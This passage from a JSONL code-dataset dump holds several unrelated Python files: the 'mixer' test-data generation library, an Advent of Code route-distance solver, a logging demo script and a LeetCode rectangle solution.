logging.WARN\nLOGGER = logging.getLogger('mixer')\nif not LOGGER.handlers and not LOGGER.root.handlers:\n LOGGER.addHandler(logging.StreamHandler())\n\n\nclass classproperty(property):\n\n \"\"\" Class property decorator. \"\"\"\n\n def __get__(self, cls, owner):\n return classmethod(self.fget).__get__(None, owner)()\n\n\nclass Mix(object):\n\n \"\"\" Virtual link on the mixed object.\n\n ::\n\n mixer = Mixer()\n\n # here `mixer.MIX` points on a generated `User` instance\n user = mixer.blend(User, username=mixer.MIX.first_name)\n\n # here `mixer.MIX` points on a generated `Message.author` instance\n message = mixer.blend(Message, author__name=mixer.MIX.login)\n\n # Mixer mix can get a function\n message = mixer.blend(Message, title=mixer.MIX.author(\n lambda author: 'Author: %s' % author.name\n ))\n\n \"\"\"\n\n def __init__(self, value=None, parent=None):\n self.__value = value\n self.__parent = parent\n self.__func = None\n\n def __getattr__(self, value):\n return Mix(value, self if self.__value else None)\n\n def __call__(self, func):\n self.__func = func\n return self\n\n def __and__(self, value):\n if self.__parent:\n value = self.__parent & value\n value = getattr(value, self.__value)\n if self.__func:\n return self.__func(value)\n return value\n\n def __str__(self):\n return '%s/%s' % (self.__value, str(self.__parent or ''))\n\n def __repr__(self):\n return '' % str(self)\n\n\nclass ServiceValue(object):\n\n \"\"\" Abstract class for mixer values. \"\"\"\n\n def __init__(self, *args, **kwargs):\n self.args = args\n self.kwargs = kwargs\n\n @classmethod\n def __call__(cls, *args, **kwargs):\n return cls(*args, **kwargs)\n\n def gen_value(self, type_mixer, *args, **kwargs):\n \"\"\" Abstract method for value generation. \"\"\"\n raise NotImplementedError\n\n\nclass Field(ServiceValue):\n\n \"\"\" Set field values.\n\n By default the mixer generates random or fake a field values by types\n of them. But you can set some values by manual.\n\n ::\n\n # Generate a User model\n mixer.blend(User)\n\n # Generate with some values\n mixer.blend(User, name='John Connor')\n\n .. note:: Value may be a callable or instance of generator.\n\n ::\n\n # Value may be callable\n client = mixer.blend(Client, username=lambda:'callable_value')\n assert client.username == 'callable_value'\n\n # Value may be a generator\n clients = mixer.cycle(4).blend(\n Client, username=(name for name in ('Piter', 'John')))\n\n\n .. seealso:: :class:`mixer.main.Fake`, :class:`mixer.main.Random`,\n :class:`mixer.main.Select`,\n :meth:`mixer.main.Mixer.sequence`\n\n \"\"\"\n\n is_relation = False\n\n def __init__(self, scheme, name):\n self.scheme = scheme\n self.name = name\n\n def __deepcopy__(self, memo):\n return Field(self.scheme, self.name)\n\n def gen_value(self, type_mixer, *args, **kwargs):\n \"\"\" Call :meth:`TypeMixer.gen_field`.\n\n :return value: A generated value\n\n \"\"\"\n return type_mixer.gen_field(*args, **kwargs)\n\n\nclass Relation(Field):\n\n \"\"\" Generate a relation values.\n\n Some fields from a model could be a relation on other models.\n Mixer can generate this fields as well, but you can force some\n values for generated models. Use `__` for relation values.\n\n ::\n\n message = mixer.blend(Message, client__username='test2')\n assert message.client.username == 'test2'\n\n # more hard relation\n message = mixer.blend(Message, client__role__name='admin')\n assert message.client.role.name == 'admin'\n\n \"\"\"\n\n is_relation = True\n\n def __init__(self, scheme, name, params=None):\n super(Relation, self).__init__(scheme, name)\n self.params = params or dict()\n\n def __deepcopy__(self, memo):\n return Relation(self.scheme, self.name, deepcopy(self.params))\n\n def gen_value(self, type_mixer, *args, **kwargs):\n \"\"\" Call :meth:`TypeMixer.gen_value`.\n\n :return value: A generated value\n\n \"\"\"\n return type_mixer.gen_relation(*args, **kwargs)\n\n\n# Service classes\nclass Fake(ServiceValue):\n\n \"\"\" Force a `fake` value.\n\n If you initialized a :class:`~mixer.main.Mixer` with `fake=False` you can\n force a `fake` value for field with this attribute (mixer.FAKE).\n\n ::\n\n mixer = Mixer(fake=False)\n user = mixer.blend(User)\n print user.name # Some like: Fdjw4das\n\n user = mixer.blend(User, name=mixer.FAKE)\n print user.name # Some like: Bob Marley\n\n You can setup a field type for generation of fake value: ::\n\n user = mixer.blend(User, score=mixer.FAKE(str))\n print user.score # Some like: Bob Marley\n\n .. note:: This is also usefull on ORM model generation for filling a fields\n with default values (or null).\n\n ::\n\n from mixer.backend.django import mixer\n\n user = mixer.blend('auth.User', first_name=mixer.FAKE)\n print user.first_name # Some like: John\n\n \"\"\"\n\n def gen_value(self, type_mixer, *args, **kwargs):\n \"\"\" Call :meth:`TypeMixer.gen_fake`.\n\n :return value: A generated value\n\n \"\"\"\n return type_mixer.gen_fake(*args, **kwargs)\n\n\nclass Random(ServiceValue):\n\n \"\"\" Force a `random` value.\n\n If you initialized a :class:`~mixer.main.Mixer` by default mixer try to\n fill fields with `fake` data. You can user `mixer.RANDOM` for prevent this\n behaviour for a custom fields.\n\n ::\n\n mixer = Mixer()\n user = mixer.blend(User)\n print user.name # Some like: Bob Marley\n\n user = mixer.blend(User, name=mixer.RANDOM)\n print user.name # Some like: Fdjw4das\n\n You can setup a field type for generation of fake value: ::\n\n user = mixer.blend(User, score=mixer.RANDOM(str))\n print user.score # Some like: Fdjw4das\n\n Or you can get random value from choices: ::\n\n user = mixer.blend(User, name=mixer.RANDOM('john', 'mike'))\n print user.name # mike or john\n\n .. note:: This is also usefull on ORM model generation for randomize fields\n with default values (or null).\n\n ::\n\n from mixer.backend.django import mixer\n\n mixer.blend('auth.User', first_name=mixer.RANDOM)\n print user.first_name # Some like: Fdjw4das\n\n \"\"\"\n\n def gen_value(self, type_mixer, *args, **kwargs):\n \"\"\" Call :meth:`TypeMixer.gen_random`.\n\n :return value: A generated value\n\n \"\"\"\n return type_mixer.gen_random(*args, **kwargs)\n\n\nclass Select(ServiceValue):\n\n \"\"\" Select values from database.\n\n When you generate some ORM models you can set value for related fields\n from database (select by random).\n\n Example for Django (select user from exists): ::\n\n from mixer.backend.django import mixer\n\n mixer.generate(Role, user=mixer.SELECT)\n\n\n You can setup a Django or SQLAlchemy filters with `mixer.SELECT`: ::\n\n from mixer.backend.django import mixer\n\n mixer.generate(Role, user=mixer.SELECT(\n username='test'\n ))\n\n \"\"\"\n\n def gen_value(self, type_mixer, *args, **kwargs):\n \"\"\" Call :meth:`TypeMixer.gen_random`.\n\n :return value: A generated value\n\n \"\"\"\n return type_mixer.gen_select(*args, **kwargs)\n\n\nclass GenFactoryMeta(type):\n\n \"\"\" Precache generators. \"\"\"\n\n def __new__(mcs, name, bases, params):\n generators = dict()\n fakers = dict()\n types = dict()\n\n for cls in bases:\n if isinstance(cls, GenFactoryMeta):\n generators.update(cls.generators)\n fakers.update(cls.fakers)\n types.update(cls.types)\n\n fakers.update(params.get('fakers', dict()))\n types.update(params.get('types', dict()))\n\n types = dict(mcs.__flat_keys(types))\n\n if types:\n for atype, btype in types.items():\n factory = generators.get(btype)\n if factory:\n generators[atype] = factory\n\n generators.update(params.get('generators', dict()))\n generators = dict(mcs.__flat_keys(generators))\n\n params['generators'] = generators\n params['fakers'] = fakers\n params['types'] = types\n\n return super(GenFactoryMeta, mcs).__new__(mcs, name, bases, params)\n\n @staticmethod\n def __flat_keys(d):\n for key, value in d.items():\n if isinstance(key, (tuple, list)):\n for k in key:\n yield k, value\n continue\n yield key, value\n\n\nclass GenFactory(six.with_metaclass(GenFactoryMeta)):\n\n \"\"\" Make generators for types. \"\"\"\n\n generators = {\n bool: g.gen_boolean,\n float: g.gen_float,\n int: g.gen_integer,\n str: g.gen_string,\n list: g.gen_list,\n set: g.loop(lambda: set(g.get_list())),\n tuple: g.loop(lambda: tuple(g.get_list())),\n dict: g.loop(lambda: dict(zip(g.get_list(), g.get_list()))),\n datetime.date: g.gen_date,\n datetime.datetime: g.gen_datetime,\n datetime.time: g.gen_time,\n decimal.Decimal: g.gen_decimal,\n t.BigInteger: g.gen_big_integer,\n t.EmailString: f.gen_email,\n t.HostnameString: f.gen_hostname,\n t.IP4String: f.gen_ip4,\n t.NullOrBoolean: g.gen_null_or_boolean,\n t.PositiveDecimal: g.gen_positive_decimal,\n t.PositiveInteger: g.gen_positive_integer,\n t.SmallInteger: g.gen_small_integer,\n t.Text: f.gen_lorem,\n t.URL: f.gen_url,\n t.UUID: f.gen_uuid,\n None: g.loop(lambda: ''),\n }\n\n fakers = {\n ('name', str): f.gen_name,\n ('first_name', str): f.gen_firstname,\n ('firstname', str): f.gen_firstname,\n ('last_name', str): f.gen_lastname,\n ('lastname', str): f.gen_lastname,\n ('title', str): f.gen_lorem,\n ('description', str): f.gen_lorem,\n ('content', str): f.gen_lorem,\n ('body', str): f.gen_lorem,\n ('city', str): f.gen_city,\n ('country', str): f.gen_country,\n ('email', str): f.gen_email,\n ('username', str): f.gen_username,\n ('login', str): f.gen_username,\n ('domain', str): f.gen_hostname,\n ('phone', str): f.gen_phone,\n ('company', str): f.gen_company,\n ('lat', float): f.gen_latlon,\n ('latitude', float): f.gen_latlon,\n ('lon', float): f.gen_latlon,\n ('longitude', float): f.gen_latlon,\n ('url', t.URL): f.gen_url,\n }\n\n types = {}\n\n @classmethod\n def cls_to_simple(cls, fcls):\n \"\"\" Translate class to one of simple base types.\n\n :return type: A simple type for generation\n\n \"\"\"\n return cls.types.get(fcls) or (\n fcls if fcls in cls.generators\n else None\n )\n\n @staticmethod\n def name_to_simple(fname):\n \"\"\" Translate name to one of simple base names.\n\n :return str:\n\n \"\"\"\n fname = fname or ''\n return fname.lower().strip()\n\n @classmethod\n def gen_maker(cls, fcls, fname=None, fake=False):\n \"\"\" Make a generator based on class and name.\n\n :return generator:\n\n \"\"\"\n simple = cls.cls_to_simple(fcls)\n gen_maker = cls.generators.get(fcls)\n\n if fname and fake and (fname, simple) in cls.fakers:\n fname = cls.name_to_simple(fname)\n gen_maker = cls.fakers.get((fname, simple)) or gen_maker\n\n return gen_maker\n\n\nclass TypeMixerMeta(type):\n\n \"\"\" Cache mixers by class. \"\"\"\n\n mixers = dict()\n\n def __call__(cls, cls_type, mixer=None, factory=None, fake=True):\n backup = cls_type\n try:\n cls_type = cls.__load_cls(cls_type)\n assert cls_type\n except (AttributeError, AssertionError):\n raise ValueError('Invalid scheme: %s' % backup)\n\n key = (mixer, cls_type, fake, factory)\n if not key in cls.mixers:\n cls.mixers[key] = super(TypeMixerMeta, cls).__call__(\n cls_type, mixer=mixer, factory=factory, fake=fake\n )\n return cls.mixers[key]\n\n @staticmethod\n def __load_cls(cls_type):\n if isinstance(cls_type, six.string_types):\n mod, cls_type = cls_type.rsplit('.', 1)\n mod = import_module(mod)\n cls_type = getattr(mod, cls_type)\n return cls_type\n\n\nclass TypeMixer(six.with_metaclass(TypeMixerMeta)):\n\n \"\"\" Generate models. \"\"\"\n\n factory = GenFactory\n\n FAKE = property(lambda s: Mixer.FAKE)\n MIX = property(lambda s: Mixer.MIX)\n RANDOM = property(lambda s: Mixer.RANDOM)\n SELECT = property(lambda s: Mixer.SELECT)\n SKIP = property(lambda s: Mixer.SKIP)\n\n def __init__(\n self, cls, mixer=None, factory=None, fake=True):\n self.postprocess = None\n self.__scheme = cls\n self.__mixer = mixer\n self.__fake = fake\n self.__factory = factory or self.factory\n self.__generators = dict()\n self.__gen_values = defaultdict(set)\n self.__fields = OrderedDict(self.__load_fields())\n\n def __repr__(self):\n return \"\".format(self.__scheme)\n\n def blend(self, **values):\n \"\"\" Generate instance.\n\n :param **values: Predefined fields\n :return value: a generated value\n\n \"\"\"\n target = self.__scheme()\n\n defaults = deepcopy(self.__fields)\n\n # Prepare relations\n for key, params in values.items():\n if '__' in key:\n rname, rvalue = key.split('__', 1)\n field = defaults.get(rname)\n if not isinstance(field, Relation):\n defaults[rname] = Relation(\n field and field.scheme or field,\n field and field.name or rname)\n defaults[rname].params.update({rvalue: params})\n continue\n defaults[key] = params\n\n deferred_values = list(self.fill_fields(target, defaults))\n\n # Fill fields in 2 steps\n post_values = [\n item for item in [\n self.set_value(target, fname, fvalue, finaly=True)\n for (fname, fvalue) in deferred_values\n ] if item\n ]\n\n if self.postprocess:\n target = self.postprocess(target) # noqa\n\n if self.__mixer:\n target = self.__mixer.post_generate(target)\n\n for fname, fvalue in post_values:\n self.set_value(target, fname, fvalue)\n\n LOGGER.info('Blended: %s [%s]', target, self.__scheme) # noqa\n return target\n\n def fill_fields(self, target, defaults):\n \"\"\" Fill all required fields. \"\"\"\n for fname, fvalue in defaults.items():\n\n if isinstance(fvalue, ServiceValue):\n deferred = fvalue.gen_value(self, target, fname, fvalue)\n\n else:\n deferred = self.set_value(target, fname, fvalue)\n\n if deferred:\n yield deferred\n\n def set_value(self, target, field_name, field_value, finaly=False):\n \"\"\" Set `value` to `target` as `field_name`.\n\n :return : None or (name, value) for later use\n\n \"\"\"\n if field_value is SKIP_VALUE:\n return\n\n if isinstance(field_value, GeneratorType):\n return self.set_value(\n target, field_name, next(field_value), finaly=finaly)\n\n if isinstance(field_value, Mix):\n if not finaly:\n return field_name, field_value\n\n return self.set_value(\n target, field_name, field_value & target, finaly=finaly)\n\n if callable(field_value):\n return self.set_value(\n target, field_name, field_value(), finaly=finaly)\n\n setattr(target, field_name, field_value)\n\n def gen_value(self, target, field_name, field_class, fake=None,\n unique=False):\n \"\"\" Generate values from basic types.\n\n Set value to target.\n\n :return : None or (name, value) for later use\n\n \"\"\"\n fake = self.__fake if fake is None else fake\n gen = self.get_generator(field_class, field_name, fake=fake)\n value = next(gen)\n\n if unique and not value is SKIP_VALUE:\n counter = 0\n while value in self.__gen_values[field_class]:\n value = next(gen)\n counter += 1\n if counter > 100:\n raise RuntimeError(\n \"Cannot generate a unique value for %s\" % field_name\n )\n self.__gen_values[field_class].add(value)\n\n return self.set_value(target, field_name, value)\n\n def gen_field(self, target, field_name, field):\n \"\"\" Generate value by field.\n\n :param target: Target for generate value.\n :param field_name: Name of field for generation.\n :param relation: Instance of :class:`Field`\n\n :return : None or (name, value) for later use\n\n \"\"\"\n default = self.get_default(field, target)\n if not default is NO_VALUE:\n return self.set_value(target, field_name, default)\n\n required = self.is_required(field)\n if not required:\n return False\n\n unique = self.is_unique(field)\n return self.gen_value(target, field_name, field.scheme, unique=unique)\n\n def gen_relation(self, target, field_name, relation, force=False):\n \"\"\" Generate a related field by `relation`.\n\n :param target: Target for generate value.\n :param field_name: Name of field for generation.\n :param relation: Instance of :class:`Relation`\n :param force: Force a value generation\n\n :return : None or (name, value) for later use\n\n \"\"\"\n mixer = TypeMixer(relation.scheme, self.__mixer, self.__factory)\n return self.set_value(\n target, field_name, mixer.blend(**relation.params))\n\n def gen_random(self, target, field_name, field_value):\n \"\"\" Generate random value of field with `field_name` for `target`.\n\n :param target: Target for generate value.\n :param field_name: Name of field for generation.\n :param field_value: Instance of :class:`~mixer.main.Random`.\n\n :return : None or (name, value) for later use\n\n \"\"\"\n if field_value.args:\n scheme = field_value.args[0]\n\n if not isinstance(scheme, type):\n return self.set_value(\n target, field_name, g.get_choice(field_value.args))\n\n else:\n scheme = self.__fields.get(field_name)\n if scheme:\n\n if scheme.is_relation:\n return self.gen_relation(target, field_name, scheme, True)\n\n scheme = scheme.scheme\n\n return self.gen_value(target, field_name, scheme, fake=False)\n\n gen_select = gen_random\n\n def gen_fake(self, target, field_name, field_value):\n \"\"\" Generate fake value of field with `field_name` for `target`.\n\n :param target: Target for generate value.\n :param field_name: Name of field for generation.\n :param field_value: Instance of :class:`~mixer.main.Fake`.\n\n :return : None or (name, value) for later use\n\n \"\"\"\n if field_value.args:\n scheme = field_value.args[0]\n\n else:\n field = self.__fields.get(field_name)\n scheme = field and field.scheme or field\n\n return self.gen_value(target, field_name, scheme, fake=True)\n\n def get_generator(self, field_class, field_name=None, fake=None):\n \"\"\" Get generator for field and cache it.\n\n :param field_class: Class for looking a generator\n :param field_name: Name of field for generation\n :param fake: Generate fake data instead of random data.\n\n :return generator:\n\n \"\"\"\n if fake is None:\n fake = self.__fake\n\n key = (field_class, field_name, fake)\n\n if not key in self.__generators:\n self.__generators[key] = self.make_generator(\n field_class, field_name, fake)\n\n return self.__generators[key]\n\n def make_generator(self, field_class, field_name=None, fake=None, args=[], kwargs={}): # noqa\n \"\"\" Make generator for class.\n\n :param field_class: Class for looking a generator\n :param field_name: Name of field for generation\n :param fake: Generate fake data instead of random data.\n\n :return generator:\n\n \"\"\"\n fabric = self.__factory.gen_maker(field_class, field_name, fake)\n if fabric:\n gen = fabric(*args, **kwargs)\n else:\n gen = self.__factory.generators.get(None)\n return (\n gen if isinstance(gen, GeneratorType)\n else g.loop(fabric)(*args, **kwargs)\n )\n\n def register(self, field_name, func, fake=None):\n \"\"\" Register function as generator for field.\n\n :param field_name: Name of field for generation\n :param func: Function for data generation\n :param fake: Generate fake data instead of random data.\n\n ::\n\n class Scheme:\n id = str\n\n def func():\n return 'ID'\n\n mixer = TypeMixer(Scheme)\n mixer.register('id', func)\n\n test = mixer.blend()\n test.id == 'id'\n\n \"\"\"\n if fake is None:\n fake = self.__fake\n\n field_class = self.__fields.get(field_name)\n if field_class:\n key = (field_class.scheme, field_name, fake)\n self.__generators[key] = g.loop(func)()\n\n @staticmethod\n def is_unique(field):\n \"\"\" Return True is field's value should be a unique.\n\n :return bool:\n\n \"\"\"\n return False\n\n @staticmethod\n def is_required(field):\n \"\"\" Return True is field's value should be defined.\n\n :return bool:\n\n \"\"\"\n return True\n\n @staticmethod\n def get_default(field, target):\n \"\"\" Get default value from field.\n\n :return value:\n\n \"\"\"\n return NO_VALUE\n\n @staticmethod\n def guard(**filters):\n \"\"\" Look objects in storage. \"\"\"\n\n return False\n\n def __load_fields(self):\n \"\"\" GenFactory of scheme's fields. \"\"\"\n for fname in dir(self.__scheme):\n if fname.startswith('_'):\n continue\n prop = getattr(self.__scheme, fname)\n if not self.__factory.generators.get(prop):\n yield fname, Relation(prop, fname)\n else:\n yield fname, Field(prop, fname)\n\n\nclass ProxyMixer:\n\n \"\"\" A Mixer proxy. Using for generate a few objects.\n\n ::\n\n mixer.cycle(5).blend(somemodel)\n\n \"\"\"\n\n def __init__(self, mixer, count=5, guards=None):\n self.count = count\n self.mixer = mixer\n self.guards = guards\n\n def blend(self, scheme, **values):\n \"\"\" Call :meth:`Mixer.blend` a few times. And stack results to list.\n\n :returns: A list of generated objects.\n\n \"\"\"\n result = []\n\n if self.guards:\n return self.mixer._guard(scheme, self.guards, **values)\n\n for _ in range(self.count):\n result.append(\n self.mixer.blend(scheme, **values)\n )\n return result\n\n def __getattr__(self, name):\n raise AttributeError('Use \"cycle\" only for \"blend\"')\n\n\n# Support depricated attributes\nclass _MetaMixer(type):\n\n F = property(lambda cls: f)\n FAKE = property(lambda cls: Fake())\n G = property(lambda cls: g)\n MIX = property(lambda cls: Mix())\n RANDOM = property(lambda cls: Random())\n SELECT = property(lambda cls: Select())\n SKIP = property(lambda cls: SKIP_VALUE)\n\n\nclass Mixer(six.with_metaclass(_MetaMixer)):\n\n \"\"\" This class is used for integration to one or more applications.\n\n :param fake: (True) Generate fake data instead of random data.\n :param factory: (:class:`~mixer.main.GenFactory`) Fabric of generators\n for types values\n\n ::\n\n class SomeScheme:\n score = int\n name = str\n\n mixer = Mixer()\n instance = mixer.blend(SomeScheme)\n print instance.name # Some like: 'Mike Douglass'\n\n mixer = Mixer(fake=False)\n instance = mixer.blend(SomeScheme)\n print instance.name # Some like: 'AKJfdjh3'\n\n \"\"\"\n\n def __getattr__(self, name):\n if name in ['f', 'g', 'fake', 'random', 'mix', 'select']:\n warnings.warn('\"mixer.%s\" is depricated, use \"mixer.%s\" instead.'\n % (name, name.upper()), stacklevel=2)\n name = name.upper()\n return getattr(self, name)\n raise AttributeError(\"Attribute %s not found.\" % name)\n\n @property\n def SKIP(self, *args, **kwargs):\n \"\"\" Skip field generation.\n\n ::\n # Don't generate field 'somefield'\n mixer.blend(SomeScheme, somefield=mixer.skip)\n\n :returns: SKIP_VALUE\n\n \"\"\"\n return SKIP_VALUE\n\n @property\n def FAKE(self, *args, **kwargs):\n \"\"\" Force a fake values. See :class:`~mixer.main.Fake`.\n\n :returns: Fake object\n\n \"\"\"\n return self.__class__.FAKE\n\n @property\n def RANDOM(self, *args, **kwargs):\n \"\"\" Force a random values. See :class:`~mixer.main.Random`.\n\n :returns: Random object\n\n \"\"\"\n return self.__class__.RANDOM\n\n @property\n def SELECT(self, *args, **kwargs):\n \"\"\" Select a data from databases. See :class:`~mixer.main.Select`.\n\n :returns: Select object\n\n \"\"\"\n return self.__class__.SELECT\n\n @property\n def MIX(self, *args, **kwargs):\n \"\"\" Point to a mixed object from future. See :class:`~mixer.main.Mix`.\n\n :returns: Mix object\n\n \"\"\"\n return self.__class__.MIX\n\n @property\n def F(self):\n \"\"\" Shortcut to :mod:`mixer.fakers`.\n\n ::\n\n mixer.F.get_name() # -> Pier Lombardin\n\n :returns: fakers module\n\n \"\"\"\n return self.__class__.F\n\n @property\n def G(self):\n \"\"\" Shortcut to :mod:`mixer.generators`.\n\n ::\n\n mixer.G.get_date() # -> datetime.date(1984, 12, 12)\n\n :returns: generators module\n\n \"\"\"\n return self.__class__.G\n\n # generator's controller class\n type_mixer_cls = TypeMixer\n\n def __init__(self, fake=True, factory=None, loglevel=LOGLEVEL,\n silence=False, **params):\n \"\"\"Initialize Mixer instance.\n\n :param fake: (True) Generate fake data instead of random data.\n :param loglevel: ('WARN') Set level for logging\n :param silence: (False) Don't raise any errors if creation was falsed\n :param factory: (:class:`~mixer.main.GenFactory`) A class for\n generation values for types\n\n \"\"\"\n self.params = params\n self.__init_params__(fake=fake, loglevel=loglevel, silence=silence)\n self.__factory = factory\n\n def __init_params__(self, **params):\n self.params.update(params)\n LOGGER.setLevel(self.params.get('loglevel'))\n\n def __repr__(self):\n return \"\".format(\n 'fake' if self.params.get('fake') else 'rand')\n\n def blend(self, scheme, **values):\n \"\"\"Generate instance of `scheme`.\n\n :param scheme: Scheme class for generation or string with class path.\n :param values: Keyword params with predefined values\n :return value: A generated instance\n\n ::\n\n mixer = Mixer()\n\n mixer.blend(SomeSheme, active=True)\n print scheme.active # True\n\n mixer.blend('module.SomeSheme', active=True)\n print scheme.active # True\n\n \"\"\"\n type_mixer = self.get_typemixer(scheme)\n try:\n return type_mixer.blend(**values)\n except Exception:\n if self.params.get('silence'):\n return None\n raise\n\n def get_typemixer(self, scheme):\n \"\"\" Return cached typemixer instance.\n\n :return TypeMixer:\n\n \"\"\"\n return self.type_mixer_cls(\n scheme, mixer=self,\n fake=self.params.get('fake'), factory=self.__factory)\n\n @staticmethod\n def post_generate(target):\n \"\"\" Post processing a generated value.\n\n :return value:\n\n \"\"\"\n return target\n\n @staticmethod\n def sequence(*args):\n \"\"\" Create sequence for predefined values.\n\n It makes a infinity loop with given function where does increment the\n counter on each iteration.\n\n :param *args: If method get more one arguments, them make generator\n from arguments (loop on arguments). If that get one\n argument and this equal a function, method makes\n a generator from them. If argument is equal string it\n should be using as format string.\n\n By default function is equal 'lambda x: x'.\n\n :returns: A generator\n\n Mixer can uses a generators.\n ::\n\n gen = (name for name in ['test0', 'test1', 'test2'])\n for counter in range(3):\n mixer.blend(Scheme, name=gen)\n\n Mixer.sequence is a helper for create generators more easy.\n\n Generate values from sequence:\n ::\n\n for _ in range(3):\n mixer.blend(Scheme, name=mixer.sequence('john', 'mike'))\n\n\n Make a generator from function:\n ::\n\n for counter in range(3):\n mixer.blend(Scheme, name=mixer.sequence(\n lambda c: 'test%s' % c\n ))\n\n\n Short format is a python formating string\n ::\n\n for counter in range(3):\n mixer.blend(Scheme, name=mixer.sequence('test{0}'))\n\n \"\"\"\n if len(args) > 1:\n def gen():\n while True:\n for o in args:\n yield o\n return gen()\n\n func = args and args[0] or None\n if isinstance(func, six.string_types):\n func = func.format\n\n elif func is None:\n func = lambda x: x\n\n def gen():\n counter = 0\n while True:\n yield func(counter)\n counter += 1\n return gen()\n\n def cycle(self, count=5):\n \"\"\" Generate a few objects. Syntastic sugar for cycles.\n\n :param count: List of objects or integer.\n :returns: ProxyMixer\n\n ::\n\n users = mixer.cycle(5).blend('somemodule.User')\n\n profiles = mixer.cycle(5).blend(\n 'somemodule.Profile', user=(user for user in users)\n\n apples = mixer.cycle(10).blend(\n Apple, title=mixer.sequence('apple_{0}')\n\n \"\"\"\n return ProxyMixer(self, count)\n\n def register(self, scheme, params=None, fake=None, postprocess=None):\n \"\"\" Manualy register a function as value's generator for class.field.\n\n :param scheme: Scheme class for generation or string with class path.\n :param fake: Register as fake generator\n :param postprocess: Callback for postprocessing value (lambda obj: ...)\n :param params: dict of generators for fields. Keys are field's names.\n Values is function without argument or objects.\n\n ::\n\n class Scheme:\n id = str\n title = str\n\n def func():\n return 'ID'\n\n mixer.register(Scheme, {\n 'id': func\n 'title': 'Always same'\n })\n\n test = mixer.blend(Scheme)\n test.id == 'ID'\n test.title == 'Always same'\n\n \"\"\"\n\n if fake is None:\n fake = self.params.get('fake')\n\n type_mixer = self.type_mixer_cls(\n scheme, mixer=self, fake=self.params.get('fake'),\n factory=self.__factory)\n\n if postprocess:\n type_mixer.postprocess = postprocess\n\n if params:\n for field_name, func in params.items():\n type_mixer.register(field_name, func, fake=fake)\n\n @contextmanager\n def ctx(self, **params):\n \"\"\" Redifine params for current mixer on context.\n\n ::\n\n with mixer.ctx(commit=False):\n hole = mixer.blend(Hole)\n self.assertTrue(hole)\n self.assertFalse(Hole.objects.count())\n\n \"\"\"\n\n _params = deepcopy(self.params)\n try:\n self.__init_params__(**params)\n yield self\n finally:\n self.__init_params__(**_params)\n\n def guard(self, **guards):\n \"\"\" Abstract method. In some backends used for prevent object creation.\n\n :returns: A Proxy to mixer\n\n \"\"\"\n\n return ProxyMixer(self, count=1, guards=guards)\n\n def _guard(self, scheme, guards, **values):\n type_mixer = self.get_typemixer(scheme)\n seek = type_mixer.guard(**guards)\n if seek:\n return seek\n\n guards.update(values)\n return self.blend(scheme, **guards)\n\n\n# Default mixer\nmixer = Mixer()\n\n# lint_ignore=W0621,C901,W0231,E0102,C1001,C0302\n","sub_path":"mixer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":34229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"247795051","text":"from itertools import permutations\nfrom math import inf\nwith open('Day 9 - input', 'r') as f:\n distances = {}\n cities = set()\n lowest_distance = inf\n for line in f:\n line = line.strip().split()\n distances[frozenset((line[0], line[2]))] = int(line[4])\n cities.add(line[0])\n cities.add(line[2])\n for route in permutations(cities):\n current_distance = 0\n r1, r2 = iter(route), iter(route)\n next(r2)\n for c1, c2 in zip(r1, r2):\n current_distance += distances[frozenset((c1, c2))]\n if current_distance < lowest_distance:\n lowest_distance = current_distance\n print(lowest_distance)\n","sub_path":"2015/Day 9-1.py","file_name":"Day 9-1.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"54923681","text":"#!/usr/bin/env python\n# coding:utf-8\n\n\"\"\"\nfunction:\n@author: zkang kai\n@contact: 474918208@qq.com\n\"\"\"\nimport logging\nimport logging.handlers\nimport os\nimport time\n\n# log_error : 有两个handle,一个用来向屏幕输出,一个用来写到文件\n\n# log_info : 有一个handle,将信息写入文件\n\nlogpath = r'/home/zhangkai/github/temp/python'\n\n# LOG_ERROR_FILE = logpath + 'error.log'\nLOG_ERROR_FILE = os.path.join(logpath,'error.log')\n\nhandler_error = logging.handlers.RotatingFileHandler(\n LOG_ERROR_FILE, maxBytes=1024 * 1024, backupCount=5) # 实例化handler\nfmt_error = '%(asctime)s - %(filename)s:%(lineno)s - %(levelname)s - %(message)s'\nformatter_error = logging.Formatter(fmt_error) # 实例化formatter\nhandler_error.setFormatter( formatter_error) # 为handler添加formatter\n\nch = logging.StreamHandler()\nch.setFormatter(formatter_error)\n\nlogger_error = logging.getLogger( 'annc_error') # 获取名为content的logger\n# 为logger添加handler\nlogger_error.addHandler(handler_error)\nlogger_error.addHandler(ch)\nlogger_error.setLevel(logging.ERROR)\n\nLOG_INFO_FILE = os.path.join(logpath,'info.log')\nhandler = logging.handlers.RotatingFileHandler(\n LOG_INFO_FILE, maxBytes=1024 * 1024, backupCount=5) # 实例化handler\nfmt = '%(asctime)s - %(levelname)s - %(message)s'\nformatter = logging.Formatter(fmt) # 实例化formatter\nhandler.setFormatter(formatter) # 为handler添加formatter\nlogger = logging.getLogger('annc_info') # 获取名为content的logger\nlogger.addHandler(handler) # 为logger添加handler\nlogger.setLevel(logging.INFO)\n\nwhile(True):\n logger.debug('logger')\n logger.info('logger')\n logger.warn('logger')\n logger.error('logger')\n logger.critical('logger')\n\n logger_error.debug('logger_error')\n logger_error.info('logger_error')\n logger_error.warn('logger_error')\n logger_error.error('logger_error')\n logger_error.critical('logger_error')\n\n time.sleep(5)\n","sub_path":"python/test_logger.py","file_name":"test_logger.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"201376854","text":"'''\nA web developer needs to know how to design a web page's size. So, given a specific \nrectangular web page’s area, your job by now is to design a rectangular web page, whose length L and \nwidth W satisfy the following requirements:\n\nThe area of the rectangular web page you designed must equal to the given target area.\nThe width W should not be larger than the length L, which means L >= W.\nThe difference between length L and width W should be as small as possible.\nReturn an array [L, W] where L and W are the length and width of the web page you designed in sequence.\n'''\n\nclass Solution:\n def constructRectangle(self, area: int) -> List[int]:\n sq = math.floor(area ** 0.5)\n print(sq)\n\n for l in range(sq, 0, -1):\n if area % l == 0:\n print(l, area // l)\n w = area //l\n return [w,l]\n","sub_path":"construct_the_rectangle.py","file_name":"construct_the_rectangle.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"266240113","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 3 